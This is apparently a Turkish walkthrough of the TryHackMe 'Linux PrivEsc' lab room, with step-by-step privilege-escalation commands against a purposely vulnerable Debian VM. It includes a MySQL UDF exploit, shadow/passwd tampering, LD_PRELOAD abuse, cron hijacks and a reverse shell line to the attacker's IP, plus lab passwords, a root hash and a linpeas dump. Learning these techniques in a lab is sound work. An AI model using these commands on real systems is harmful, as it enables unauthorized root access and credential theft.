lab erişimi için: https://tryhackme.com/r/room/linuxprivesc
Bu oda, çeşitli Linux Yetki Yükseltme (Privilage Escalation) tekniklerini adım adım öğrenmenizi hedefler. Bunu yapmak için öncelikle özel hazırlanmış savunmasız bir Debian VM’sini kullanmanız gerekiyor. Bu VM, Sagi Shahar tarafından yerel yetki yükseltme atölyesi için yaratılmıştır ancak Tib3rius tarafından Udemy’deki “Linux Privilege Escalation for OSCP and Beyond!” kursuna entegre edilmiştir. Odanın içindeki çeşitli tekniklerin detaylı açıklamaları, bu kursta bulunabilir ve Linux’ta yetki yükseltmeleri bulma konusunda ipuçları ve demo’lar yer alır.
Debian VM’sine erişmeden önce, TryHackMe VPN’ine bağlı olduğunuzdan veya tarayıcı üzerinden Kali instance’ını kullandığınızdan emin olun!
SSH port 22 üzerinden erişilebilir. “user” hesabına giriş yapmak için şu komutu kullanabilirsiniz:
ssh [email protected]
Eğer şu mesajı alırsanız: “Are you sure you want to continue connecting (yes/no)?”, yes yazıp Enter tuşuna basın.
“user” hesabının şifresi “password321″dir.
Not: “Unable to negotiate with port 22: no matching key type found. Their offer: ssh-rsa, ssh-dss” hatasını alırsanız, bu OpenSSH’nin ssh-rsa anahtar türünü artık desteklemediğinden kaynaklanır. Bağlanmak için komutunuza -oHostKeyAlgorithms=+ssh-rsa
ekleyin.
Sonraki görevler, farklı yetki yükseltme tekniklerini gösterecektir. Her teknikten sonra, root shell’ine sahip olmanız beklenir. Her bir teknikten sonra, shell’den çıkmayı ve/veya “user” hesabına yeniden bağlanmayı unutmayın.
Not : IP Adresini TryHackMe’de gösterilen Makine IP Adresi ile değiştirin
No answer required
“id” komutunu çalıştırın. Sonuç nedir?
Cevap: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Burada sözü geçen ve halihazırda indirilmiş zafiyet
https://www.exploit-db.com/exploits/1518?source=post_page—–9ea2cfac3b76——————————–
MySQL servisi root olarak çalışıyor ve servisin “root” kullanıcısının bir şifresi yok. Bu durumu, User Defined Functions (UDF) kullanarak sistem komutlarını root olarak çalıştırmak için popüler bir açığı kullanarak değerlendirebiliriz.
Aşağıdaki adımları takip edin:
- /home/user/tools/mysql-udf dizinine geçin:
cd /home/user/tools/mysql-udf
raptor_udf2.c
açığını derleyin:gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
- Şifresiz root kullanıcısı ile MySQL servisine bağlanın:
mysql -u root
- MySQL shell’inde aşağıdaki komutları çalıştırarak, derlenmiş açığı kullanarak bir User Defined Function (UDF) “do_system” oluşturun:
use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
do_system
fonksiyonunu kullanarak/bin/bash
‘i/tmp/rootbash
‘e kopyalayın ve SUID iznini ayarlayın:select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
- MySQL shell’inden çıkın (exit veya \q yazın ve Enter tuşuna basın) ve
/tmp/rootbash
çalıştırarak root ayrıcalıkları ile bir shell açın:/tmp/rootbash -p
- /tmp/rootbash dosyasını silmeyi ve root shell’inden çıkmayı unutmayın, çünkü bu dosyayı odanın ilerleyen bölümlerinde yeniden oluşturmanız gerekecek!
rm /tmp/rootbash exit
ilk 3 adımda Açık zaten indirilmiş ve sistemde “/home/user/tools/mysql-udf” dizininde bulunmaktadır. Bu güvenlik açığından yararlanmak için yazıda verilen talimatları izleyin. Öncelikle güvenlik açığından yararlanmamızı sağlayacak C kodunu derliyoruz. Daha sonra MySQL’e root kullanıcısı olarak giriş yapın.
C kodunu derlemek için kullanılan seçenekler hakkında daha fazla bilgi için GCC Kılavuzuna bakın
https://man7.org/linux/man-pages/man1/gcc.1.html?source=post_page—–9ea2cfac3b76——————————–
Veritabanında bir tablo oluşturuyoruz, tabloya bir dosya yüklüyoruz ve verileri başka bir dosyaya geri yazıyoruz (MySQL root olarak çalıştırıldığı için kaydedilen dosya da root tarafından sahiplenilecektir). “do_system” adında bir UDF oluşturulur ve yazılan dosya kullanılarak bize root ayrıcalıkları verecek yeni bir ikili dosya oluşturulur.
Yukarıdakileri okuyun ve takip edin.
Cevap gerekmiyor
Linux’taki tüm kullanıcıların listesi “/etc/passwd’ dosyasına kaydedilir ve tüm kullanıcılar için hash işleminden sonra şifre “/etc/shadow” klasörüne kaydedilir.
Daha detaylı bilgiler için:
https://linuxize.com/post/etc-shadow-file/?source=post_page—–9ea2cfac3b76——————————–
https://linuxize.com/post/etc-passwd-file/?source=post_page—–9ea2cfac3b76——————————–
/etc/shadow dosyası, kullanıcı şifre hash’lerini içerir ve genellikle yalnızca root kullanıcısı tarafından okunabilir.
VM’deki /etc/shadow dosyası dünya tarafından okunabilir olduğunu not edin:
ls -l /etc/shadow
/etc/shadow dosyasının içeriğini görüntüleyin:
cat /etc/shadow
Her satır bir kullanıcıyı temsil eder. Bir kullanıcının şifre hash’i (varsa) satırdaki ilk ve ikinci iki nokta (:) arasındadır.
Root kullanıcısının hash’ini bir dosyaya kaydedin: grep '^root:' /etc/shadow > hash.txt
Hash’i kırmak için John the Ripper’ı kullanın. İlk olarak, *rockyou.txt* dosyasını açmanız gerekebilir. Bu dosya genellikle /usr/share/wordlists/rockyou.txt.gz
yolunda bulunur. Dosyayı açmak için:
gzip -d /usr/share/wordlists/rockyou.txt.gz
John the Ripper ile hash’i kırın: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Kırılan şifreyi kullanarak root kullanıcısına geçiş yapın: su root
Root shell’inden çıkmayı unutmayın. exit
root kullanıcının parola hash’i nedir? $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
2. root kullanıcının parola karmasını üretmek için hangi karma algoritma kullanıldı? sha512crypt
3. root kullanıcının parolası nedir? password123
Görev 4: Zayıf Dosya İzinleri — writable /etc/shadow
Önceki görevde gördüğümüz gibi, sistemdeki shadow dosyası herkes tarafından okunabilir ve yazılabilir. Bu yüzden şifreyi kırmak yerine, yeni bir şifre oluşturup eski şifreyi değiştirebiliriz.
Yeni bir şifre oluşturmak için SHA-512 hash’ini kullanacağız.
Bir şifre hash’i oluşturun: mkpasswd -m sha-512 newpasswordhere
Oluşturduğunuz hash ile root kullanıcısının orijinal şifre hash’ini /etc/shadow dosyasında değiştirin.
Dosyayı değiştirdikten sonra, oluşturduğunuz yeni şifre ile root kullanıcısına geçiş yapın: su root
Root shell’inden çıkmayı unutmayın. exit
/etc/passwd Dosyasındaki Zayıf İzinler
/etc/passwd dosyası kullanıcı hesapları hakkında bilgi içerir. Bu dosya herkes tarafından okunabilir, ancak genellikle sadece root kullanıcısı tarafından yazılabilir. Tarihsel olarak, /etc/passwd dosyası kullanıcı şifre hash’lerini de içeriyordu ve bazı Linux sürümleri hala şifre hash’lerinin burada saklanmasına izin verir.
Not: /etc/passwd dosyası dünya tarafından yazılabilir:
ls -l /etc/passwd
Yeni bir şifre hash’i oluşturun: openssl passwd newpasswordhere
Oluşturduğunuz hash’i /etc/passwd dosyasında root kullanıcısının satırında, ilk ve ikinci kolon (:) arasına yerleştirin (bu “x” karakterini değiştirerek).
Yeni şifreyi kullanarak root kullanıcısına geçiş yapın: su newroot
Soru: “id” komutunu newroot kullanıcısı olarak çalıştırın. Sonuç nedir?
Cevap: uid=0(root) gid=0(root) groups=0(root)
sudo -l
Normal bir kullanıcı “sudo -l” komutunu kullanarak çalıştırmasına izin verilen uygulamaları görebilir.
https://gtfobins.github.io/?source=post_page—–9ea2cfac3b76——————————–
Şifre olmadan root olarak çalıştırabileceğimiz birden fazla uygulama olduğunu görebiliriz. GTOBins’i ziyaret edelim ve bu uygulamalardan herhangi birinin root ayrıcalıklarına sahip olmak için bize kolay bir yol sağlayıp sağlamadığını görelim.
Bir root shell oluşturup oluşturamayacağımızı vim kullanarak görelim. Daha sonra Vim için ayrıcalıkları yükseltmemize izin veren birden fazla komut olduğunu görüyoruz.
İlk komutu kullanalım ve bir root shell elde edip edemeyeceğimize bakalım. Parola olmadan çalıştırma iznimiz olan diğer uygulamalar için GTOBins’e bakarsak, hepsinin (Apache2 hariç) bir root shell elde etmek için kullanılabileceğini görebiliriz.
man komutu için yapacak olursak
hadi ftp ve nmap içinde yapalım
cevapları aşağı bırakıyorum
Task 7 : Sudo – Environment Variables
Sudo, mevcut kullanıcıdan belirli ortam değişkenlerini devralacak şekilde yapılandırılabilir. Bunları “sudo -l” kullanarak görüntüleyebiliriz.
LD_PRELOAD, bir program çalıştırıldığında paylaşılan bir nesneyi diğerlerinden önce yükler. LD_LIBRARY_PATH, paylaşılan kütüphanelerin ilk olarak arandığı dizinlerin bir listesini sağlar.
detaylı araştırma için göz atın:
“/home/user/tools/sudo/preload.c” kodunu kullanarak paylaşılan bir nesne oluşturalım
Koda baktığımızda, “LD_PRELOAD” ortam değişkeninin mevcut değerlerini temizlemek için kullanılan unsetenv() işlevini çağıran bir fonksiyon olduğunu görebiliriz. Daha sonra setresuid() fonksiyonunu kullanarak etkin ve gerçek userid ve groupid değerlerini 0 (root) olarak değiştiriyoruz ve son olarak bir bash kabuğu oluşturmak için bir sistem çağrısı yapıyoruz. Bu istismarı çalışırken görmek için yazıda verilen talimatları izleyin.
yazıda verilenler:
Paylaşılan Bir Nesne Oluşturma ve Sudo ile Ayrıcalık Yükseltme:
- Koddan Paylaşılan Bir Nesne Oluşturun:
/home/user/tools/sudo/preload.c
dosyasındaki kodu kullanarak bir paylaşılan nesne oluşturun:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
- Sudo ile Çalıştırabileceğiniz Programlardan Birini Çalıştırın:
sudo -l
komutu ile listelenen programlardan birini çalıştırırkenLD_PRELOAD
ortam değişkenini yeni oluşturduğunuz paylaşılan nesnenin tam yolu ile ayarlayın:
sudo LD_PRELOAD=/tmp/preload.so program-name-here
Bir root shell açılmalıdır. Shell’den çıkmadan önce bu shell’inden çıkın. Seçtiğiniz programa bağlı olarak, bu shell’den de çıkmanız gerekebilir.
- Apache2 Program Dosyasının Kullanılan Paylaşılan Kütüphanelerini Görüntüleyin: Apache2 program dosyasının kullandığı paylaşılan kütüphaneleri görmek için
ldd
komutunu çalıştırın:
ldd /usr/sbin/apache2
- Bir Kütüphane Adına Sahip Bir Paylaşılan Nesne Oluşturun: Apache2’nin kullandığı listedeki kütüphanelerden birinin adını taşıyan bir paylaşılan nesne oluşturun (örneğin `libcrypt.so.1) kullanarak):
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
- Apache2’yi Sudo ile Çalıştırın: Oluşturduğunuz paylaşılan nesnenin bulunduğu
/tmp
dizininiLD_LIBRARY_PATH
ortam değişkenine ayarlayarak apache2’yi sudo ile çalıştırın:
sudo LD_LIBRARY_PATH=/tmp apache2
Bir root shell açılmalıdır. Shell’den çıkın. /tmp/libcrypt.so.1
dosyasını apache2’nin kullandığı diğer bir kütüphanenin adıyla yeniden adlandırmayı deneyin ve apache2’yi sudo ile tekrar çalıştırın. İşe yaradı mı? Yaramadıysa, neden çalışmadığını ve library_path.c
kodunun nasıl değiştirilebileceğini anlamaya çalışın.
Gördüğümüz gibi bir root shell oluşturmayı başardık. Aynı şey LD_LIBRARY_PATH ortam değişkeni kullanılarak da yapılabilir. Yazıda gösterilen adımları izleyin.
Cron jobs, kullanıcıların işleri farklı zamanlarda otomatik olarak çalıştırmak için zamanlayabilecekleri programlar veya komut dosyalarıdır. Cron tablosu (crontab) tüm cron işlerinin listesini saklar. Sistem genelindeki crontab /etc/crontab adresinde bulunur.
Görevlere baktığımızda, her dakika çalışmak üzere zamanlanmış iki script olduğunu görebiliriz. Gözlemlediğimiz bir başka şey de her iki görevin de “root” kullanıcısı tarafından zamanlandığıdır, bu nedenle betiği değiştirebilirsek yeni kod da root ayrıcalıklarıyla çalışacaktır. Betik dosyasındaki izinlere baktığımızda herkes tarafından yazılabilir olduğunu görürüz. Dosyanın içeriğini aşağıdaki şekilde değiştirin:
#!/bin/bash
bash -i >& /dev/tcp/<ip adresiniz>/4444 0>&1
Daha sonra Kali Makinenizde bize bir root shell verecek bir dinleyici kurabiliriz (bağlantı kurmak bir dakikadan az sürmelidir)
Cron tablosunda, mutlak yolları belirtilmemiş olan betikler için kontrol edilecek PATH’i belirten bir satır olduğunu görebiliyoruz. Bunu, kendi kodumuzu çalıştırmak için kullanabiliriz. Önceki görevden, “overwrite.sh” dosyasının “/usr/local/bin” içinde olduğunu ve bu yolun PATH değişkeninde 3. sırada olduğunu biliyoruz. Aynı adı taşıyan (overwrite.sh) yeni bir dosya oluşturabilir ve PATH değişkenindeki 1. veya 2. sıradaki bir konuma yerleştirebiliriz.
Cron “overwrite.sh” dosyasını çalıştırmak istediğinde, betiğin mutlak yolunu belirtmediğimiz için PATH değişkenindeki tüm konumları kontrol edecektir. 1. konumda arama yaparken, gerekli adla bir dosya bulacak ve bu dosyayı bulduğunda PATH değişkenindeki diğer konumları kontrol etmeyecektir.
Bu yüzden, “/home/usr” içinde “overwrite.sh” adlı bir dosya oluşturalım ve aşağıdaki kodu ekleyelim:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
Artık cron “overwrite.sh” dosyasını çalıştırmak istediğinde, kodumuzu çalıştıracak (çünkü kodumuz PATH konumunda ilk sıradadır) ve bu da root ayrıcalıklarıyla bir shell açacaktır
Soru: /etc/crontab dosyasındaki PATH değişkeninin değeri nedir?
Cevap: /home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Diğer zamanlanmış komut dosyasının içeriğini görüntüleyelim.
Kodun periyodik olarak tüm “/home/user” klasörünün yedeğini aldığını görebiliriz. Burada dikkat edilmesi gereken önemli nokta, herhangi bir dosyayı temsil etmek için kullanılan * işaretidir. Bu doğru kullanılmazsa istismar edilebilir. tar yardımcı programı tarafından sağlanan seçeneklerle (bayraklar) aynı ada sahip dosyalar oluşturabiliriz ve tar bu dosyaları dosya adı olarak değil seçenek olarak değerlendirecektir. tar yardımcı programını çalıştıracağımız “msfvenom” kullanarak bir payload oluşturalım, bu da bize bir reverse shell vermelidir.
Şimdi dosyayı barındırmak için Python ve dosyayı indirmek için wget kullanarak oluşturulan ELF dosyasını hedefe indirelim.
python3 -m http.server 1234
Dosyayı indirdikten sonra, tar komutuna aktarılabilecek seçeneklerle (bayraklar) tam olarak aynı adlara sahip dosyalar oluşturalım. Bu seçenekleri kullanarak oluşturduğumuz yükü çalıştırabilmeliyiz.
Ve gördüğümüz gibi bir reverse shell kurmayı başardık (bağlantının kurulması bir dakikadan az sürmelidir)
Aşağıdaki komutu kullanarak sistemdeki UID/GID ayarlayabilen tüm çalıştırılabilir dosyaları görüntüleyebiliriz:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Listede görünen “exim-4.84-3” adlı bir hizmet var, bu güvenlik açığı mevcutsa Kali Makinemizdeki searchsploit’e bakalım.
Ve yüklediğimiz sürümün bir Local Privilage Escalation exploit’ine sahip olduğunu görüyoruz. Gerekli exploit hedef makinede zaten mevcut /home/user/tools/suid/exim/cve-2016-1531.sh çalıştıralım ve root shell elde edip edemeyeceğimize bakalım.
Executable dosya /usr/local/bin/suid-so
, Shared Object Injection’a karşı savunmasız. Bu saldırıyı uygulamalı olarak görelim. İlk olarak, yürütülebilir dosyayı çalıştırıp ne yaptığını görelim. Terminalde bir ilerleme çubuğu yazdırdığını görüyoruz.
Yürütülebilir dosyanın eriştiği tüm kütüphaneleri ve dosyaları görmek için strace
komutunu (Stack Trace) kullanalım.
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
Yürütülebilir dosyanın kullanıcı dizininde bulunması gereken “libcalc.so” adlı bir kütüphane dosyasına bağlı olduğunu görebiliriz.
libcalc.so dosyası için .config dizinini oluşturun:
Bu dosyaya UID’yi 0 (root) olarak ayarlayacak ve ardından bir ayrıcalıklar shell’i oluşturacak kod ekliyoruz. Bu dosyayı derleyelim ve çalıştırılabilir dosyayı çalıştırmanın kütüphanemizin yüklenmesine neden olup olmayacağını ve bunun da bir root shell oluşturup oluşturmayacağını görelim.
Ve gördüğünüz gibi bir root shell oluşturabildik.
/usr/local/bin/suid-env
ikili dosyasını çalıştırmaya çalıştığımızda, “Apache” sunucusunu başlatmaya çalıştığını görüyoruz.
strings
komutunu kullanarak ikili dosyanın içeriğine bakalım. strings
komutu, dosyadaki insan tarafından okunabilir satırları döndürecektir.
Sonlarına doğru, apache2 sunucusunun başlatıldığı bir satır görüyoruz. Dosyada hizmet yürütücüsünün mutlak yolu belirtilmemiş. service
adıyla yeni bir fonksiyon oluşturabiliriz ve bunu apache2’yi başlatmak için kullanabiliriz. service
işlevine root shell açma kodu eklersek, bir root shell açabiliriz.
Elimizdeki /usr/local/bin/suid-env2
adlı hizmet, bir önceki görevde kullanılanla aynı şekilde çalışıyor, ancak bu sefer yalnızca yürütücü adı yerine, hizmet yürütücüsünün dosyanın tamamı olan yolu kullanılmış. Bunu strings
komutunu kullanarak doğrulayabiliriz.
“4.2-048 “den daha düşük Bash sürümlerinde, sistemdeki yollara benzeyen isimlere sahip fonksiyonlar tanımlamak mümkündür. Bunu bizim için bir root shell oluşturacak kötü niyetli bir fonksiyon oluşturmak için kullanabiliriz.
Bu açığın “Bash sürüm 4.4 ve üzeri” versiyonlarında çalışmadığını unutmayın.
Hata ayıklama modunda olduğunda, Bash PS4 ortam değişkenini hata ayıklama ifadeleri için ek bir istem gösterimi yapmak üzere kullanır. PS4 istemini root shell başlatacak bir kodla değiştirebiliriz.
Şu komutu kullanarak bunu gerçekleştirebiliriz:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
Bir kullanıcı parolasını parola istemi yerine yanlışlıkla komut satırına yazarsa, bu parola bir geçmiş dosyasına kaydedilebilir. Geçmiş dosyasının içeriği aşağıdaki komut kullanılarak görüntülenebilir:
cat ~/.*history | less
Ve gördüğümüz gibi root kullanıcısının parolası geçmiş dosyasında düz metin olarak mevcut.
Kullanıcının çalıştırdığı tam mysql komutu nedir?
mysql -h somehost.local -uroot -ppassword123
Yapılandırma dosyaları genellikle düz metin veya diğer tersine çevrilebilir formatlarda şifreler içerir. Home dizininin içeriğine bir göz atalım. Bir OpenVPN yapılandırma dosyası görebiliriz. Yapılandırma dosyasında kullanıcı adı ve şifre için “auth.txt” adresini işaret eden bir satır görebiliriz.
Bu dosyanın içeriğini görüntülediğimizde, parola ve kullanıcı adının düz metin olarak mevcut olduğunu görürüz.
Root kullanıcının kimlik bilgilerini hangi dosyada buldunuz?
/etc/openvpn/auth.txt
Bazen kullanıcılar önemli dosyaların yedeklerini alırlar ancak bunları doğru izinlerle güvence altına almazlar. Root dizindeki gizli dosyalara bir göz atalım.
SSH klasöründe “root_key” adında bir dosya görüyoruz. Bu dosya root kullanıcı için anahtar gibi görünüyor ve sistemde herkes tarafından okunabilir durumda, bu da olmaması gereken bir durum.
Dosyanın içeriğini kopyalayın ve Kali sisteminizde “root_key” adında bir dosya oluşturun. İçeriği bu dosyaya yapıştırın. Bu anahtarı kullanarak SSH üzerinden root olarak giriş yapabilmelisiniz.
Not : “root_key” dosyasının izinlerini değiştirdiğinizden emin olun, aksi takdirde SSH dosyayı kullanmamıza izin vermeyecektir.
NFS üzerinde /tmp
dizini için “no_root_squash” bayrağının ayarlandığını görüyoruz; bu, NFS tarafından paylaşılan dizinin root tarafından sahiplenildiği ve dizine eklenen tüm dosyaların da root ayrıcalıkları taşıyacağı anlamına gelir.
Kali makinemize geçip root kullanıcısı olarak oturum açalım. Yeni bir klasör oluşturup, hedefteki /tmp
klasörünü oluşturduğumuz yeni klasöre bağlayalım. Son olarak, root ayrıcalıklarıyla çalıştırıldığında root shell açacak bir payload oluşturalım.
Kernel açıklıkları sistemde kararsızlık yaratabileceği için, bunları yalnızca son çare olarak çalıştırmalısınız. Mevcut sistemde potansiyel kernel açıklıklarını belirlemek için Linux Exploit Suggester 2 aracını çalıştırın:
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
Daha detaylı bilgi için
https://github.com/jondonas/linux-exploit-suggester-2?source=post_page—–9ea2cfac3b76——————————–
https://www.exploit-db.com/exploits/40616?source=post_page—–9ea2cfac3b76——————————–
Popüler Linux kernel açığı “Dirty COW” listede yer almalıdır. Dirty COW için exploit kodunu /home/user/tools/kernel-exploits/dirtycow/c0w.c
altında bulabilirsiniz. Bu kod, SUID dosyası /usr/bin/passwd
‘i bir shell açacak şekilde değiştirir.
Yani, exploit çalıştırıldıktan sonra passwd
binary dosyasını kullanarak bir root shell elde etmelisiniz.
Linux’ta potansiyel yetki yükseltme açıklarını bulmaya yardımcı olan birkaç araç yazılmıştır. Bu araçlardan üçü, Debian VM üzerinde /home/user/tools/privesc-scripts
dizininde bulunmaktadır.
detaylı bilgiler için
https://github.com/rebootuser/LinEnum?source=post_page—–9ea2cfac3b76——————————–
https://github.com/diego-treitos/linux-smart-enumeration?source=post_page—–9ea2cfac3b76——————————–
linpeas.sh dosyasını kullanalım ve sistemde aynı güvenlik açıklarını bulup bulamayacağımızı görelim.
linpeas.sh’ı çalıştırınca çıkan tüm içerik aşağıda
user@debian:~/tools/privesc-scripts$ ./linpeas.sh
linpeas v2.5.6 by carlospolop
ADVISORY: linpeas should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner’s permission.
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 99% a PE vector
RED: You must take a look at it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMangeta: Your username
====================================( Basic information )=====================================
OS: Linux version 2.6.32-5-amd64 (Debian 2.6.32-48squeeze6) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue May 13 16:34:35 UTC 2014
User & Groups: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Hostname: debian
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
[+] nmap is available for network discover & port scanning, you should use it yourself
Caching directories . . . . . . . . . . . . . . . . . . . . DONE
====================================( System Information )====================================
[+] Operative system
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 2.6.32-5-amd64 (Debian 2.6.32-48squeeze6) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue May 13 16:34:35 UTC 2014
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.7.4p4
[+] PATH
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#usdpath
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
New path exported: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/sbin:/usr/sbin:/sbin
[+] Date
Mon Aug 5 05:55:27 EDT 2024
[+] System stats
Filesystem Size Used Avail Use% Mounted on
/dev/xvda1 19G 985M 17G 6% /
tmpfs 501M 0 501M 0% /lib/init/rw
udev 496M 100K 496M 1% /dev
tmpfs 501M 0 501M 0% /dev/shm
total used free shared buffers cached
Mem: 1025296 534200 491096 0 386028 60296
-/+ buffers/cache: 87876 937420
Swap: 901112 0 901112
[+] Environment
[i] Any private information inside environment variables?
SHELL=/bin/bash
TERM=xterm-256color
HISTSIZE=0
SSH_CLIENT=10.9.1.22 58048 22
SSH_TTY=/dev/pts/0
USER=user
HISTFILESIZE=0
MAIL=/var/mail/user
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/sbin:/usr/sbin:/sbin
LANG=en_US.UTF-8
HOME=/home/user
SHLVL=6
LOGNAME=user
SSH_CONNECTION=10.9.1.22 58048 10.10.211.45 22
HISTFILE=/dev/null
/usr/sbin/service=() { /bin/bash -p
}
_=/usr/bin/env
[+] Looking for Signature verification failed in dmseg
Not Found
[+] selinux enabled? ………….. sestatus Not Found
[+] Printer? …………………. lpstat Not Found
[+] Is this a container? ………. No
[+] Is ASLR enabled? ………….. Yes
=========================================( Devices )==========================================
[+] Any sd* disk in /dev? (limit 20)
[+] Unmounted file-system?
[i] Check if you can mount umounted devices
proc /proc proc defaults 0 0
UUID=be5bb36f-7bb4-4900-b459-196278f714b6 / ext3 errors=remount-ro 0 1
UUID=468658fa-a304-4ed0-981a-d725bf98a790 none swap sw 0 0
debugfs /sys/kernel/debug/ debugfs defaults 0 0
====================================( Available Software )====================================
[+] Useful software
/usr/bin/nmap
/bin/nc
/usr/bin/ncat
/bin/netcat
/bin/nc.traditional
/usr/bin/wget
/bin/ping
/usr/bin/gcc
/usr/bin/g++
/usr/bin/make
/usr/bin/gdb
/usr/bin/base64
/usr/bin/python2.6
/usr/bin/perl
/usr/bin/sudo
[+] Installed Compiler
ii g++ 4:4.4.5-1 The GNU C++ compiler
ii g++-4.4 4.4.5-8 The GNU C++ compiler
ii gcc 4:4.4.5-1 The GNU C compiler
ii gcc-4.4 4.4.5-8 The GNU C compiler
/usr/bin/gcc
/usr/bin/g++
================================( Processes, Cron, Services, Timers & Sockets )================================
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
101 2356 0.0 0.0 32724 1000 ? Ss 04:34 0:00 /usr/sbin/exim4 -bd -q30m
daemon 1178 0.0 0.0 8136 536 ? Ss 04:34 0:00 /sbin/portmap
root 1148 0.0 0.0 6796 1024 ? Ss 04:34 0:00 dhclient -v -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
root 1224 0.0 0.0 27064 588 ? Ss 04:34 0:00 /usr/sbin/rpc.idmapd
root 1476 0.0 0.1 54336 1680 ? Sl 04:34 0:00 /usr/sbin/rsyslogd -c4
root 1579 0.0 0.0 3960 640 ? Ss 04:34 0:00 /usr/sbin/acpid
root 1603 0.0 0.0 14668 436 ? Ss 04:34 0:00 /usr/sbin/rpc.mountd –manage-gids
root 1645 0.0 0.2 71424 2892 ? Ss 04:34 0:00 /usr/sbin/apache2 -k start
root 1779 0.0 0.1 22468 1068 ? Ss 04:34 0:00 /usr/sbin/cron
root 1805 0.0 0.1 49224 1168 ? Ss 04:34 0:00 /usr/sbin/sshd
root 1838 0.0 0.1 61864 1312 ? Ss 04:34 0:00 nginx: master process /usr/sbin/nginx
root 1845 0.0 0.1 9180 1396 ? S 04:34 0:00 /bin/sh /usr/bin/mysqld_safe
root 1970 0.0 2.3 163420 24124 ? Sl 04:34 0:01 /usr/sbin/mysqld –basedir=/usr –datadir=/var/lib/mysql –user=root –pid-file=/var/run/mysqld/mysqld.pid –socket=/var/run/mysqld/mysqld.sock –port=3306
root 1971 0.0 0.0 3896 644 ? S 04:34 0:00 logger -t mysqld -p daemon.error
root 2403 0.0 0.0 5972 636 tty1 Ss+ 04:34 0:00 /sbin/getty 38400 tty1
root 2404 0.0 0.0 5972 636 tty2 Ss+ 04:34 0:00 /sbin/getty 38400 tty2
root 2405 0.0 0.0 5972 636 tty3 Ss+ 04:34 0:00 /sbin/getty 38400 tty3
root 2406 0.0 0.0 5972 632 tty4 Ss+ 04:34 0:00 /sbin/getty 38400 tty4
root 2407 0.0 0.0 5972 636 tty5 Ss+ 04:34 0:00 /sbin/getty 38400 tty5
root 2408 0.0 0.0 5972 636 tty6 Ss+ 04:34 0:00 /sbin/getty 38400 tty6
root 254 0.0 0.0 16880 856 ? S<s 04:33 0:00 udevd –daemon
root 2555 0.0 0.0 3756 372 pts/0 S 04:42 0:00 /usr/local/bin/suid-env
root 2556 0.0 0.0 3756 372 pts/0 S 04:42 0:00 service apache2 start
root 2557 0.0 0.2 19284 2084 pts/0 S 04:42 0:00 /bin/bash -p
root 2727 0.0 0.0 9920 1016 pts/0 T 04:47 0:00 less
root 2748 0.0 0.1 36924 1204 pts/0 T 04:48 0:00 su root
root 870 0.0 0.0 16876 748 ? S< 04:34 0:00 udevd –daemon
root 871 0.0 0.0 16876 688 ? S< 04:34 0:00 udevd –daemon
statd 1210 0.0 0.0 14424 896 ? Ss 04:34 0:00 /sbin/rpc.statd
user 2430 0.0 0.2 71492 2592 ? S 04:35 0:00 sshd: user@pts/0
user 2431 0.0 0.2 19276 2076 pts/0 Ss 04:35 0:00 -bash
user 2741 0.0 0.1 36924 1280 pts/0 S 04:48 0:00 su user
user 2742 0.0 0.2 19284 2084 pts/0 S 04:48 0:00 bash
user 3367 4.0 0.2 11692 2292 pts/0 S+ 05:55 0:00 /bin/sh ./linpeas.sh
user 3818 0.0 0.1 16380 1180 pts/0 R+ 05:55 0:00 ps aux
user 3820 0.0 0.0 59884 812 pts/0 S+ 05:55 0:00 sort
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1647 0.0 0.1 71156 1988 ? S 04:34 0:00 /usr/sbin/apache2 -k start
www-data 1653 0.0 0.2 294852 2628 ? Sl 04:34 0:00 /usr/sbin/apache2 -k start
